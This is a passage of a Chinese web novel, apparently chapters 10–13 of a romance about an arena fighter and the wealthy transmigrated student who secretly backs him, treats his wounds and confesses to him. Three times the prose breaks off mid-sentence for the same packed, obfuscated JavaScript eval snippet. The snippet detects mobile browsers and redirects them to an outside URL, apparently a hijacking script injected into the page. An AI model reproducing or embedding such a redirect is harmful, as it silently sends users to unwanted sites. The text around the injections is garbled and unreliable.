一出手就是几百万的大主顾,格斗场里不是没有,但这么低调还出手大方的他还从没见过,以往那些大老板哪个不是借着投注要求选手做些什么,这还是第一个让隐瞒信息的。 戚疏投注完便离开了这里,他全然不知,当工作人员将最新投注结果展现在大屏幕上时,全场哗然一瞬,紧接着爆发出更激烈的欢呼声。 擂台上的两人碰撞到一起又分开,铁甲扫了一眼投注变动,脸色扭曲一瞬,转头恶狠狠地看向燕骁。 该死的家伙,到底哪里吸引到那些有钱老板了,居然压他能赢! 燕骁不知道他怎么一瞬间变得急躁起来,铁甲的体重和肌肉密度都比他大太多,蓄力一拳挥过来的时候冲击力几乎和一辆悬浮车无异,他下蹲躲过这一拳,侧腰扭身从侧面险险避开。 铁甲动作大开大合但并不笨重,在燕骁出现前他才是格斗场最受欢迎的明星选手,实力不容小觑,在燕骁逃脱的一瞬间就已察觉到危险,出拳后立刻回旋转身,挡住迎面而来的一记飞踢。 砰、砰、砰。 两人的速度快到观众几乎用肉眼都看不清,硝抬腿踢向铁甲腰部,铁甲用手臂挡住,与此同时找准时机猛攻下盘,硝被他勾住脚踝撂倒,挨地的瞬间腰部发力弹射而起,双腿夹住铁甲的脑袋一个用力,将铁甲死死压制在了身下。 台下声音嘈杂,有对于硝的看好欢呼,也有对于铁甲的失望,头脑一热给铁甲投注了大笔钱的看客开始咒骂。 铁甲将那些咒骂声听进了耳朵里,阴狠的眼神好似要喷火,他怒吼一声,靠着绝对的力量优势挣脱了束缚,远离了硝的那一刻迅速翻身站起,拳头握得更紧了。 该死,该死! 是他小看了这家伙,哪怕被抑制了精神力,居然还能和自己打个五五开! 铁甲大吼一声,手臂上隆起的小山似的肌肉更加贲张,与此同时,精神力从他身上冒出了头,离得最近的裁判觉察到,向他投来隐晦的一眼。 铁甲咧开嘴森森一笑。 燕骁将他和裁判的不寻常表现看在眼中,微微抿紧了唇。 果然,是要用精神力压制他了吗? 地下格斗场规定比赛选手不允许使用精神力作弊,但铁甲是格斗场老板豢养的拳手,裁判也是和他一伙的,他们想要在比赛里做点手脚,再简单不过了。 只要控制好精神力的范围,不让台下观众觉察到,铁甲就可以堂而皇之地用精神力碾压他,而无法调动精神力的燕骁会像条死狗一样被他按着打。 燕骁的脸色不太好,唇色隐隐发白,身上已经被汗水浸湿,发梢低落的汗珠砸在面具上,又顺着面具流下,身上有伤的地方隐隐泛着疼痛,汗水密布的手臂宛若被附上了一层金光,肌肉隆起的弧度漂亮优美,又带着不可忽视的力量感。 戚疏在台下看着,打开光脑对准燕骁拍了一张。 系统:[你在干嘛?] [拍照留念。]戚疏垂眸看着照片,手指滑动几下,将这张照片添加进一个单独的相册中。 这样的燕骁漂亮又惹眼,在混乱无序的地下格斗场,在一众肮脏的灵魂中,燕骁是最明亮最特殊的一个。 但这里毕竟还是太危险了,戚疏不会让燕骁再来打黑拳,所以这会是燕骁的最后一场比赛,当然要拍照留念。 [……]系统不再说话了,它觉得自己说什么都显得很多余。 台上,铁甲显然没预料到这个看起来瘦弱的硝能有如此恐怖的实力,按理说下了药后他的身体素质也会被药物影响,反应变慢力量减弱,但现在竟然一点都不落下风! 铁甲等不了了,他放出了自己的精神力,这样的作弊行为他在裁判的配合下做过很多次,完全不担心被人发现,一股精神力精准地朝着燕骁压下,铁甲嘴角缓缓勾起,好像已经看到了燕骁在他面前跪地求饶的样子。 但事实并没有如他预料的发展,当他的精神力碾压过去时,一股更为强大、压迫感更强的精神力突然反击,将他那股不成型的精神力狠狠打了回来! 与此同时,燕骁动作迅猛得如同一只捕猎的豹子,出现在铁甲面前,一拳锤在他脆弱的腹部,紧接着,又是一记顶膝,狠狠将他踹得大步后退! 观众席上一片哗然。 铁甲大惊失色,脸上的慌乱透过屏幕清晰地展现在每一个观众眼前,一时间议论声和咒骂声此起彼伏: “该死,他在干什么?擂台上都能发呆?!” “*的,老子可是把全部身家都投进去了,铁甲该不会要输了吧!” “演的这么假,打的表演赛吗!退钱!” “看着这么大块头,连个小鸡崽子都打不过,**的废物!” 但此刻的铁甲已经顾不上观众们了,他不可置信地望着对面这个瘦弱青年,那股精神力威压还在自己脑袋上盘旋不去,他能感受得出来,这精神力不仅没有丝毫被抑制的倾向,反而比自己的精神力等级还要高! “不可能!这不可能!”铁甲双眼猩红,“你做了什么?!” 燕骁没有回答,收回了自己的精神力,但还没等铁甲面露欣喜,便飞快来到了他身前,一个扫腿将他横扫在地,双臂反锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980700|193570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸贴着地面,膝盖死死抵住后心。 这一切发生得太快,铁甲反应过来时奋力挣扎,却无法撼动分毫,青年看似瘦削的身体仿佛蕴含了无穷的力量,他挣扎得面目狰狞,也挣脱不开钳制着他的双手。 裁判脸色由红变白,额角溢出了汗,但这么多观众都在看着,他只能开始读秒:“1,2,3……” 十秒过后,铁甲依旧没有站起来,这场比赛,燕骁赢了。 当裁判举起燕骁的右手宣告比赛结果时,台下瞬间沸腾了起来。 “赢了!硝赢了!” “第一!第一!全格斗场都找不到硝的对手了吧!” “哈哈哈哈!老子压的赢了!老子要发了!” 台下掌声和喊声响彻地下格斗场,不乏有十分看好铁甲的观众懊恼投的注都打了水漂,大声咒骂起擂台上一滩烂泥样的铁甲。 各种声音混杂在一起,台上的燕骁冷眼看着下方如蝗虫一样激涌的狂热看客,内心却一片平静,或者可以说是终于卸下了什么重物般的轻松。 视线在场内环顾一周,却没有看到那个熟悉的身影,燕骁摸了摸脸上的面具,转身下了场,往后台走去。 格斗场的负责人拦住他,当着他的面将一笔不菲的金额转进了他的光脑中,笑得谄媚:“这是你今晚的报酬,全部结清了,明晚还来不来?我给你安排特殊席位,不用像以前一样打满,只需要压轴赛上场就好。” “……不用,明晚我不来。”燕骁抿唇拒绝了他的邀请,垂眸看清光脑上的那串数字时猛地愣住:“怎么有这么多?” 负责人奇怪地看着他:“你不知道?我还以为……” 他语焉不详,燕骁追问:“以为什么?” “我还以为你和今晚下注最多的那位客人认识呢,出手这么大方。”负责人半是惊疑半是羡慕地看着他,“你没看投注吗?有个客人看上你了,一出手就是几百万,咱们格斗场建立以来都没有几个这样的大主顾。” 燕骁却面色一冷:“我不做那些生意。” 他知道格斗场吸引了很多不缺钱的客人,那些客人下注给喜欢的拳手,往往出手大方,但他们并不白白撒钱,拿了钱的拳手最后都要去亲自感谢,有些是吃顿饭,而有些则是跟着出钱客人去做些见不得光的交易。 这是格斗场不成文的规定,拿了客人的钱,就要听客人的话,这些人一般都有权有势,有些就连格斗场老板都得罪不起,更不要说他们这些拳手,连拒绝的权利都没有。 燕骁说着就要把多余的钱退回去:“我只拿我该拿的,剩下的麻烦退还,告诉那位客人,我只打拳,不做多余的生意。” 负责人连忙按住他的手:“诶诶,别急,这次还真不是这样。” “我知道你有底线,肯定是打听清楚了才转给你钱。”负责人望了望四周,凑近他压低了声音说,“你小子也算是好运,客人第一次来,大概是不懂咱们这儿的规矩,光投注也没提要求,你拿了这笔钱闭紧嘴,客人就算事后后悔了也抹不下脸计较!” “这可是白白送钱到你手里了!” 私人格斗场的规则和正规的不一样,有押输赢赚赔率的投注,也有专供有钱客人的“打赏”式下注,这种通常赢了也才收回一半本金,剩下一半格斗场和拳手按比例分。 大几百万的投注,哪怕分完之后落到燕骁手中的也是一笔不小的钱,比他辛辛苦苦打十场比赛挣得都多。 11. 贫穷的军校生(11) 燕骁看着他,心里隐隐有个猜测,却又觉得不可能:“那位客人……长什么样?” 负责人奇怪地看了他一眼:“我怎么知道,我也没亲眼看见。小罗说那位客人是匿名投注的,摆明了是不想被打扰,你可别傻乎乎地找上去。” 小罗就是负责投注的工作人员,只有他可能见到过那位客人,但如果客人告诫过他不能说,燕骁就算去问也问不出什么。 燕骁最终还是收下了那笔钱。 回到更衣室冲了个澡换回自己的衣服,燕骁从只有内部人员知道的过道走出地下格斗场,一下子从灯火通明回到昏暗的连盏灯都没有的破败小巷,眼前模糊了一瞬。 燕骁闭了闭眼再睁开,刚迈出一步,就看到了前方拐角处穿着黑色大衣的挺拔身影,淡淡月光打在他身上,白金色的发丝披在脑后,瞳色和五官轮廓也变回了原本的模样。 那人循着声音转过头,燕骁被那双眼睛注视着,抬脚走了过去。 在对方身前站定,一时间相顾无言,燕骁比他稍矮一些,此刻离得近,需要微仰起脸才能看清对方的眼睛。 他从背包里拿出那个面具,握在手里,攥得有些紧:“……面具,还你。” 戚疏不知道他为什么紧张,本来想说一个面具扔就扔了,但看了他片刻,还是抬手接了过来。 骨节分明的大手把玩着那个制作粗糙的面具,两根手指夹着一侧晃了晃,对燕骁说:“接下来还有事么?” 燕骁慢了一拍回答:“没有了。” 他知道今晚要打满整场比赛,已经提前将其他兼职推了,本来结束后是要回军校的,但是现在出现了一个他没有预料到的意外,反而让他不知所措了。 燕骁垂下眼看着那个被把玩的面具,模糊听到头顶传来一声轻笑,还没等他抬头确认,后颈就被不轻不重地擦了一下。 戚疏的大衣衣摆从他身旁掠过,朝前走去:“那就走吧。” 紧了紧攥着背包的手,燕骁踩着他落下的影子跟了上去。 * 走出小巷,回到明亮的街道上后,戚疏没有上悬浮车,而是让燕骁在原地等,他沿着街道快步离开。 过了没几分钟,戚疏拎着一袋子东西回来,打开悬浮车让燕骁进去。 “过来,上药。” 燕骁侧了侧身:“不用。” 戚疏站在车外,低头看着他的眼神极具侵略性。 距离太近了,被堵在座椅上无处可逃的燕骁慌乱地错开视线,身体后仰,妄图逃离那越来越近的雪松气息。 不过是一些表面擦伤,放着不管过几天也就好了,燕骁对此很有经验。 但戚疏堵在他身前不像是能听他商量的样子,燕骁仰着头看他,僵持片刻,伸出右手摊开掌心:“……我自己来。” “你自己够得到伤处么?”戚疏说完便退开关闭车门,燕骁正茫然着,就见他绕过车前打开驾驶位那侧的车门,坐进车内,装着药物的袋子被放在中控台上。 戚疏冲他伸出手:“过来。” 是不容抗拒的语气。 燕骁犹豫着伸出手,被他拉过去,看着他从袋子中拿出一瓶修复喷雾,对准手上伤口喷了两下。 冰凉刺痛的触感反馈给燕骁的大脑,让他不由得蜷了蜷手指,却不料刚好碰到戚疏收回的手,手指微勾的动作好像是在刻意挽留。 那只手的主人抬起眼看他。 轰的一声,燕骁大脑炸开烟花,反应剧烈地飞速收回手,嘴唇抿了抿,声音紧得像从嗓子里挤出来的一样:“对不起,我不是故意的。” 戚疏深深地看了他一眼:“没说你,紧张什么。” 今天的戚疏好像话变多了,燕骁不太确定地看着他,感觉从在格斗场见到他的那一刻开始,之后的这几个小时都像做梦一样,他不知道这位大少爷平时是什么样的性格,哪怕他救了自己两次,但燕骁对他的了解依旧少的可怜。 不知道是他的错觉还是确有其事,燕骁感觉今晚的戚疏好像一场昳丽的美梦,会在他受伤的时候出现在他面前,会帮他解决困难,还会屈尊降贵亲自给他上药。 若是放在十岁之前,燕骁恐怕会受宠若惊,然后感动得不知所措;但现在的他体会过数不清的恶意,心里只有无穷无尽的疑惑。 为什么? “为什么?”燕骁声音沙哑。 他这么想着,也这么问出了口。 “为什么帮我,为什么救我,为什么……”燕骁的声音里有不易察觉的哽咽,戚疏听到了,“……匿名投注的那位客人,是你吧?” 过了很久,他听到戚疏的回答。 “是。” 那声音太轻,轻到散进风里立马就会找不到,但燕骁听清楚了,也正是因为听清楚了,心头压抑着的情感非但没有平复,反而剧烈地翻涌起伏。 他的身体不可控制地颤抖起来,从手指尖一路麻到脚底,感觉浑身都被什么东西贯穿,让他从心里生出一种恐惧,下意识想要逃离这个地方。 “燕骁,呼吸!” 戚疏第一时间发现了他的情绪不对劲,燕骁胸膛剧烈起伏,望着他的双眼一瞬间涌上眼泪,一手捂着自己的胸口,呼吸急促得仿佛捕捉不到半点氧气。 [是情绪激动引发的惊恐发作,他在害怕。]系统这时候很靠谱地给出诊断,[现在要让他尽快冷静下来。] 一股强大的精神力在车内爆开,戚疏掰过燕骁的肩膀,让他看着自己,用精神力牵引出他的精神力,两股力量纠缠在一起,一股平静,一股则隐隐透露着急躁的冲动。 “听我说,燕骁。”戚疏双手扶住他的肩膀,语气很轻,像是怕惊扰了什么似的,竟无端显得温柔,“慢慢吸气,不急,慢慢来,跟着我的精神力指引走,深呼吸。” 一滴泪不受控制地从眼角滑落,燕骁急促的呼吸慢慢缓和下来,精神力却仍在半空中漫无目的地游逛,接触到戚疏的精神力后一头扎了进去,开始疯狂汲取能量。 戚疏压下精神力反馈来的那种微妙感觉,一下一下拍着后背,安抚他:“好乖。” 回过神来听清他说什么的燕骁,耳朵一下子红透了。 急忙拉开两人过近的距离,吸得正欢的精神力也被强制收回,燕骁垂下眼,沉默着不知道说什么。 戚疏落在半空的手慢慢收回,他看得出燕骁有话想和他说,所以耐心地等待着。 或许今晚的事情他需要一些时间消化,戚疏没想到他一句话能让燕骁情绪激动成那个样子,一时间有些后悔告诉了他真相。 “叮。” 光脑提示音响起,戚疏却没有动作,他盯着燕骁手中的光脑,屏幕没有对他隐蔽,所以清晰地看到了两人对话框中的那条转账信息。 金额是燕骁今晚在格斗场所得的全部,包括那笔投注分成。 气氛突然变得有些压抑,燕骁垂着头,屏幕久久停留在对话框中,戚疏也没有说话,静静地看着他。 “为什么将钱都转给我?”戚疏尽量放缓声音问道。 “本来就是要给你的。”第一句话说出口,后面的话便也不是很难了,燕骁眼睛没看他,自顾自地说,“上次在训练场你救了我,我没什么能报答的,这些钱就当感谢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980701|193570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我知道这对你来说不算多,但是……” 但这已经是他能拿出的全部。 戚疏没说话,燕骁的心情有些糟糕。 他在地下格斗场打了两个多月,终于从寂寂无名跃升为排行榜第一,慕名而来的人变多,他被安排的比赛也越来越多,今晚是个挺重要的场子,只要赢到最后就能拿一大笔钱,再加上一些小数额的打赏投注,能有小六位数。 但是被下药在他预料之外,戚疏的出现更是打乱了他的所有计划,还有那笔匿名的七位数投注…… 燕骁很清楚,今晚若不是戚疏的帮助,他怕是很难拿到这笔钱。 所以本该用作感谢费的钱也成了烫手的东西,戚疏为他投注的那几百万,燕骁再打一百场比赛也挣不到。 他琥珀色的眼眸里充斥着茫然,看得戚疏心都化了。 [系统。]他突然在脑海里呼唤系统,说了一句没头没脑的话,[或许你说对了。] 系统疑惑:[什么?] 戚疏的语气十分坚定:[我现在可以确定,我真的喜欢上他了。] 系统:[……] 怎么说呢,它真的不感到意外,甚至有种终于尘埃落定的微妙感。 剧情已经偏离得亲妈都不认识了,世界处于一种要崩不崩要稳不稳的状态中,绑定的宿主也不听劝,系统恍惚间居然产生了一种十分类人的情绪:摆烂。 它想,要不然就这样吧。 戚疏的行为对剧情线产生了巨大影响,但世界到现在还没毁灭,往后也不知道能支撑到什么时候,或许等他们两个人在这个世界自然死亡,世界依然存在。 [系统。]戚疏又叫了他一声,[如果我和世界主角谈恋爱了,会有什么影响吗?] 他本就不是这个世界的人,会不会在未来某一天突然消失,或者在剧情结束后被迫消亡?抑或是他的存在本身就会对燕骁造成伤害? [……]系统的机械音卡顿了几秒,[不会,你说的这些都不会发生。] 它只是个世界监管系统,又不是什么拐卖人口打黑工的恶毒系统,没理由耗费多余能量在这种事情上。 得到了系统的保证,戚疏才算放下心,他点开自己的光脑,在那笔转账下点击了退还。 “怎么一丁点都不给自己留?”戚疏笑着说,“你是只喝露水就能活的仙子吗?” 星际没有花仙子的故事,燕骁听不懂他在说什么,但能感受到他语气中的调侃。 “但这是给你的。”燕骁的态度异常固执,“本来就是你的钱。” “是我的钱,那我更有权决定它的归属。”戚疏攥住他那只要去触碰光脑的手,再无后顾之忧后整个人的情感都外放了很多,“我决定放在你那里,不可以么?” 燕骁的手微凉,被大一圈的手圈在手心,指腹在他的手指关节处轻轻揉捏,动手的人好像全然不觉这是多么亲密过界的行为,察觉到他要逃脱,更用力地紧了紧。 燕骁睁大眼睛看向他:“你……快松开!” 他不自在极了,无暇去想戚疏的不寻常行为是什么意思,被人触碰的感觉太奇怪,只想赶紧将自己的手藏起来。 戚疏却没如他意,上半身越过中控台朝他靠近,一缕发丝飘落在他肩头,强势的、带着侵略性的雪松气息包围上来。 距离太近了,近到燕骁都能看清戚疏眼底倒映的自己,头发凌乱,脸颊带伤,嘴唇一侧有道干裂的伤口,微微朝外渗血。 怎么看都不是一张好看的脸,燕骁一时愣住,却突然听见戚疏冷静且礼貌地说: “我可以追你么?” 12. 贫穷的军校生(12) 直到悬浮车驶回学校,两人一前一后进入宿舍,燕骁都还没从巨大的震惊和无措中缓过来。 从戚疏的那句“我可以追你么”说出口,燕骁就仿佛被雷劈中了一样,呆呆地看着他,连被占便宜的手都忘了抽回。 似乎过了几秒,又或是几分钟,戚疏看着他像个CPU被烧坏了无法思考的机器人一样愣住说不出话,笑了一声,退回到驾驶位那边。 只是握着他手的那只手依旧没有放开,悬浮车开启了自动驾驶,在深夜无人的半空中平稳地行驶,悬浮车隔音效果很好,车内安静至极,静到只能听到两道交错的呼吸声。 [系统。]戚疏并没有表面看上去那么冷静,他叫了系统一声,说,[我的表白好像搞砸了。] 上辈子活了三十年他身边都没有一个知心的人,感情经历一片空白,刚才头脑一热直接说出了口,却没有预料到燕骁的反应。 第一次告白就搞得这么糟糕,戚疏懊恼地皱了下眉。 紧握的掌心里出了汗,分不清是谁的,戚疏病急乱投医,求助系统:[你说,我如果再说一遍,会好吗?] [……]系统已经数不清今晚第几次感到无语,[大概率不会,只会给主角造成二次惊吓。] 没见主角已经被吓得给不出反应了吗。 [好吧。]戚疏不再说话了。 就这样两个人一直沉默到悬浮车到达目的地停下,智能AI的提示音打破了车内的平静,燕骁如梦初醒般猛地抽回了手,急匆匆地开门下车,戚疏拿上药,跟在他身后两步远的地方。 此刻时间已经到了后半夜,绝大多数学生都已经休息,燕骁先一步回到宿舍,戚疏还在想自己会不会被关在门外,走近却发现宿舍门敞开着一条缝,不知道是不是先一步进去的人心烦意乱忘记了关门。 戚疏推门进去,反手咔哒一声关上并上了锁,宿舍内的智能灯光应声而亮,戚疏看到了前方背对着他的那道身影。 果然是被吓到了么?都不愿意正面看他了。 戚疏想着,将修复喷雾轻轻放在燕骁的桌子上,然后后退几步,站在离他最远的墙边:“抱歉,今天是我冲动了。” 背对着他的那道身影微不可察地僵硬一瞬。 “时间不早了,洗漱休息吧。”戚疏嗓音温柔,让他先去洗漱,“药我放在桌子上,你出来后自己上一下,可以么?” 燕骁没回答,只是僵直的身体慢慢有了动作,他放下背包,抱着干净衣服钻进了浴室,路过戚疏时脚步明显加快几分,只是从头到尾,都没和他产生半点眼神交互。 当晚,洗漱完躺在床上的戚疏失眠了。 他摘下眼罩扔到一旁,睁着眼望着天花板,把不需要休眠的系统叫了出来:[系统,这种情况应该怎么办,你有经验吗?] 系统觉得他在无理取闹:[你为什么认为我会有这方面的经验?] 它压根都不是人类,系统的世界里没有爱情,它们也不会对同类产生爱情。 [你不是世界监管系统吗,手底下管着那么多小说世界,不就相当于看过很多小说么?]戚疏打了个哈欠,从平躺转为侧躺,在黑暗中看向另一张床上的人影,[抱歉,无意冒犯,我以为你会知道。] 系统觉得他在嘲讽,但没有证据。 [或许你可以求助星网。]系统真诚地说,[星网上有很多教人谈恋爱和追人的教程,你应该用得上。] 小说里都是这样写的,主角遇事不决就会求助网络,然后在未来的某一天,掉马被伴侣发现。 虽然不知道戚疏能不能有后半段,但前半段可供参考。 戚疏:[……] 戚疏和系统在脑海中有一搭没一搭地说着话,浑然不知距离他几米远的另一张床上,燕骁无数次闭上眼又睁开,手指抓着枕头边,张开又握紧,心里纷乱一片。 * 第二天戚疏醒来时,宿舍里已经没了燕骁的身影。 s级精神力的强悍之处不仅体现在精神力方面,对拥有者的身体素质也有全面提升,就比如戚疏一整晚没睡,精神状态依旧良好,眼底半点青黑也无,洗漱完打理好乱糟糟的头发,甚至比之前更加容光焕发。 系统评价:[用你之前世界的话来说,像开屏的孔雀。] 求偶似的。 戚疏不置可否:[是么?] 军校的理论课一般安排在上午比较多,虽然授课的内容戚疏早就学会,但从前就是个三好学生的他没有逃课习惯,踩着点准时到达了教室门口。 鉴于这段时间的低调行事,还有上次雷厉风行处理绯闻,学生们终于不再对他投以过多视线,同样的,燕骁身上的诸多不怀好意的目光也少了许多。 但是当他们看到戚疏十分自然地在燕骁身边坐下时,还是忍不住侧目。 燕骁选的位置本来就在角落,他和其他人不熟,从来都是自己独占角落,却不料方便了戚疏。 早上刻意早起就是为了避开他,但很显然戚疏并不让他如愿。 不过直到教授开始授课,戚疏也没有和他说一句话,好像只是凑巧坐到了他旁边,燕骁提着的心缓缓放下,全心投入到了书本中。 却不知道,从他沉浸在课堂中的那一刻起,戚疏便光明正大地撑着脑袋看他了。 在戚疏眼里,青年认真听课时脸上会有很多小表情,听不懂时眉毛会微微皱起,嘴唇微抿,牙齿轻咬一下又松开;恍然大悟时,眉梢会微微扬起,连带着眼睛里的光也更亮一度;遇到简单的问题,在教授解答前自己便找到了答案,这时嘴角会勾起一个极小的弧度,脸颊一侧出现一个小小的凹陷,不过往往只一瞬便消失。 戚疏看得认真,也因此发现了他在理论课上的吃力。 战斗系的理论课包含了战斗、医疗、机械、能源和历史等一系列内容,这些看似毫不相干的知识,在战场上却可能成为关键时刻救命的技能。燕骁来自落后的垃圾星,从前大概是没有机会接触这些,不说贵族子弟,就算是和普通人比都落后一大截。 教授的授课进度是固定的,不会因为学生的资质不同影响授课速度,所以跟不上课的学生只能私下多用功,但燕骁落后太多,补起来也是一件麻烦事。 戚疏突然想到原剧情中的燕骁,刚入学时他的各项成绩都只在中游,一年后却突飞猛进挤进了级部前列,而后几年一直保持着优异的成绩,让不少贵族出身眼高于顶的学生都心悦诚服。 可是这样优异的成绩背后,燕骁不知道经历了多少个无眠的深夜,走了多少弯路,才能从末尾走到第一。 戚疏望着他,逐渐出了神,没注意到燕骁翻书的动作一顿,转头朝他看过来。 “你……”燕骁声音放得很低,仿佛是第一次做这种上课开小差的事,“你”了半天也没能说出个所以然。 戚疏回过神,便见燕骁垂下头在本子上写了句什么,推到他面前。 [你能不能不要看我。] 戚疏失笑。 一瞬间他像是被拉回了十几年前的学生时代,老师在上面讲课,他们在下面自以为隐蔽地传纸条,殊不知站在讲台上,这些小动作都能看得一清二楚。 不过第一军校的老师并不管学生们的课堂秩序,他们的任务只是授课,学生在课上睡觉也无所谓,只要最终考核成绩达标,没有人会计较这一点小事。 戚疏看到了那张纸条,却没有回复,任由燕骁揣着紧张等了好一会儿,实在忍耐不住转头去看,才发现他在空白的本子上写写画画,看上去像在做笔记。 燕骁松了一口气,但心里却没由来地生出一丝遗憾。 遗憾什么,他自己却说不清。 昨天戚疏在悬浮车上的那句告白完全出乎他的意料,燕骁想过很多戚疏做那些事的目的,却没有一个能预料到是因为想追求他,他当时震惊、错愕、不解,还有隐没在更深层的无法言说的恐惧。 他害怕这是一场阴谋,害怕是戚疏心血来潮的冲动,害怕是他想出来的什么新型捉弄人的手段。 唯独没有相信这是戚疏的真心。 就在燕骁出神地想着这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980702|193570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些的时候,身侧突然递过来什么东西,他下意识低头去看,却发现正是戚疏刚才写写画画的笔记本。 戚疏写的东西都在本子第一页,又直接摊开在他面前,燕骁哪怕不想看,那上面的字也早已映入眼帘,让他惊讶的是,上面密密麻麻写满了有关这堂课的知识点,最上面的一条恰好是他刚才没能看懂的那部分内容。 再抬起头,就见戚疏单手撑着头看他,目光温柔而专注,烫得燕骁猛地收回视线,睫毛不安地颤了颤。 前方教授已经换了一页新内容开讲,燕骁却还在低着头愣神,直到一只手伸到他眼前,在桌面上轻轻扣了两下。 本子空白处“听课”两个字出现在燕骁眼前,待燕骁回神之后,戚疏却已经转回了头去,接下来一整节课都没有再看他。 * 上午的课程结束后,燕骁抱着书走出教室,头也不回地快步下楼,直到走出去很远,身后那道不紧不慢却紧紧跟随的脚步声依旧没有消失。 午休时间,学生们都涌入餐厅,燕骁的注意力全在身后的人身上,等反应过来才发现自己顺着人流走到了餐厅。 他转身要走,却被身后跟上来的人伸手拦住去路,燕骁没有抬头,视线刚好落在这人胸前垂落的白金色长发上。 头顶传来一道含笑的声音:“现在是午休时间,可以赏脸和我一起共进午餐么?” 燕骁微微抬眼,越过这人的肩膀看到了几双好奇八卦的眼睛,立刻像被烫到似的收回视线,低声说:“不用了,我有营养液。” 营养液,顾名思义,集齐了人体所需的所有成分的营养补剂,喝完有饱腹感,完全可以代替食物,胜在价格便宜,但味道属实算不上好。 燕骁孤身一人,因为要同时兼顾学习和生活,只有夜晚有时间出去打几份工,但中央星消费水平太高,他又把大部分钱投进了学习相关的开销里,以至于自己活的马马虎虎,营养液几乎成了固定的一日三餐。 况且以他对自己的抠门水平,戚疏不用想就知道他买的一定是最便宜最普通的营养液,连调配的口味都没有,他刚穿来的时候因为好奇尝过,但也只尝过一口。 “身上不是有钱了么?偶尔也要对自己好一点。”戚疏不由分说地推着人到空位坐下,自己坐在对面,“餐厅做的食物味道还不错,不想尝尝么?” 燕骁看着他格外真诚的双眼,吐不出一个拒绝的字眼。 他们两个的组合出现在餐厅,吸引了一众好奇打量的视线,但戚疏泰然自若,打开餐桌旁的菜单智能屏幕,转向燕骁:“想吃什么?” 燕骁觉得自己就像个被摆弄的玩偶,戚疏说一句他动一下,想拒绝都找不到时间,这人总会精准预测到他开口的时机,并在他开口前一秒转移话题,让他一口气堵在喉咙里,吞也不是吐也不是。 算了,只是一顿饭而已。 燕骁这么想着,终于舍得抬眼给他一个眼神,但当对上屏幕中的诸多菜名时,却感到有些棘手。 从垃圾星到中央星,他前半生跌跌撞撞的没有过过一天好日子,曾经尝过的食物味道早已忘却,此刻看着面前的图片,一点都想不出来它的味道。 戚疏看他愣着,不知道是不是发现了什么,突然伸手将屏幕转回到自己面前,指尖轻点了两下。 “喜欢吃什么口味,甜的?辣的?” 燕骁慢半拍反应过来他是在问自己,但燕骁自己都说不上来。 戚疏闷声笑了一下,自顾自将几道菜选上:“那就都尝一尝吧。” 虽然这样说着,但当菜肴上桌时,他不动声色地将几盘甜口的菜推到燕骁面前,剩下的放在自己这一侧。 燕骁迟钝地拿起筷子,太长时间没吃过正常食物,他连筷子怎么使用都要忘了,拿在手里一会儿才想起来,谨慎地夹了自己面前的一道菜放进嘴里,陌生的酸甜一瞬间充斥口腔。 戚疏坐在他对面,将他的微表情尽收入眼中,看向他明显多夹几次的盘子,眼中笑意加深。 原剧情里提到过燕骁喜欢吃甜,果然没错。 13. 贫穷的军校生(13) 燕骁垂着眼认真吃饭,戚疏看着他,自己却没吃几口。 星际时代的人类好似更注重效率和成效,对于食物的研究甚至都比不上地球,这些在星际人眼里味道很好的菜,对戚疏来说却是普普通通。 还没他自己做得好。 燕骁察觉到他的心不在焉,放下筷子问:“你怎么不吃?” “不太饿。”戚疏说。 他看着燕骁,不知想到了什么,突然说:“有机会的话,请你尝尝我做的饭。” 燕骁一愣,脱口而出:“你会做饭?” 不怪他惊讶,星际时代科技发达,新鲜食物却价格高昂,往往只会出现在富人家的餐桌上,而制作食物的都是高级智能机器人,极少有人会亲自下厨。 以戚疏的身世,家中必定不缺智能机器人和佣人,怎么会亲自下厨? 只是燕骁的疑惑没人能解答,戚疏摆明了要卖个关子,只是看着他微笑,并不回答他的问题。 吃完饭后,燕骁伸手去拿账单,却被一只大手在半空拦截,戚疏另一只戴着光脑的手腕往账单上碰了一下,嘀的一声,支付完成。 燕骁慢了一步,眉眼间闪过一丝懊恼,他站起身就往外走,戚疏在后面不紧不慢地跟上。 嘀的一声,光脑上弹出和燕骁的对话框,不出所料,是一笔转账,戚疏垂眸看了片刻,点击了退回。 军校课程安排得紧密,没有午休,在餐厅用过餐后时间刚好适合前往下午上课的地点,餐厅外来来往往的学生很多,燕骁转身想和戚疏说什么,但看了看周遭的人群,微微皱起眉头。 戚疏走到他身边,大手覆在他的后背,安抚似的拍了两下:“下午是机甲实训课,一起过去么?” 燕骁没有说不,事实上他就算说了也没用,戚疏显然是要跟着他一起的。 